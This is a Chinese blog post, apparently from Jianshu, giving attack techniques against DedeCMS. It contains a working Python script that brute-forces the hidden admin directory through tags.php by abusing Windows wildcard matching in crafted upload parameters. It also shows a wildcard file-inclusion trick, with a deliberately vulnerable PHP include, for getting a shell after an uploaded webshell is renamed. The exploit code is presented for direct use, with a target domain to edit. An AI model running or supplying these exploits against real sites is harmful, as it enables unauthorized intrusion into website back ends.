解决DEDECMS历史难题--找后台目录

0x01 dedecms 后台地址爆破

详细分析见文章:https://xianzhi.aliyun.com/forum/topic/2064

关键点:

  1. Windows环境
  2. 存在包含了Common.inc.php的php文件,如tags.php
  3. 如何使用的是其他文件,如/plus/diy.php,则payload前面需要加../跳转到上一级目录

文章提供了一个php的exp,评论区也有其他的exp,我简单搞了一下py脚本,有点拙劣,但还算能用:

#coding:utf-8
#author:JuH0n
import requests

def sendpayload(url,payload):
    data = {'dopost':'save',
        '_FILES[b4dboy][tmp_name]':'./' + payload + '</images/admin_top_logo.gif',
        '_FILES[b4dboy][name]':'0',
        '_FILES[b4dboy][size]':'0',
        '_FILES[b4dboy][type]':'image/gif'
        }
    r = requests.post(url=url,data=data)
    # print r.content
    if 'Upload filetype not allow !' in r.content:
        return False
    else:
        return True

def exp():
    List = list('abcdefghijklmnopqrstuvwxyz0123456789_')
    domain = 'http://localhost/dedecms'#修改此处域名
    url = domain + '/' + 'tags.php'
    payload = ''

    for x in List:
        if payload !='':
            break
        for y in List:
            print 'testing:',x+y
            if sendpayload(url,payload+x+y):
                payload += x+y
                break
    print 2,payload

    for x in range(2,30):
        if x!= len(payload):
            break
        for y in List:
            if sendpayload(url,payload+y):
                payload += y
                print x+1,payload
                break

    admin_path = domain + '/' + payload
    print '\nThe admin_path is:\t' + admin_path

exp()
0x02 通配符突破文件上传重命名getshell

然后还有一个奇淫技巧,就是当我们上传一个shell被重命名的时候,我们可以利用文件包含和通配符<或者<<来包含shell,从而达到getshell的目的。
新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php。

#5149ff33ebec0e6ad37613ea30694c07.php
<?php
        phpinfo();
?>
# demo.php
<?php
        $filename = $_GET["file"];
        include $filename.".php";
?>

访问 http://localhost/demo.php?file=5&lt,即可成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

参考:奇技淫巧 | 读DEDECMS找后台目录有感

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容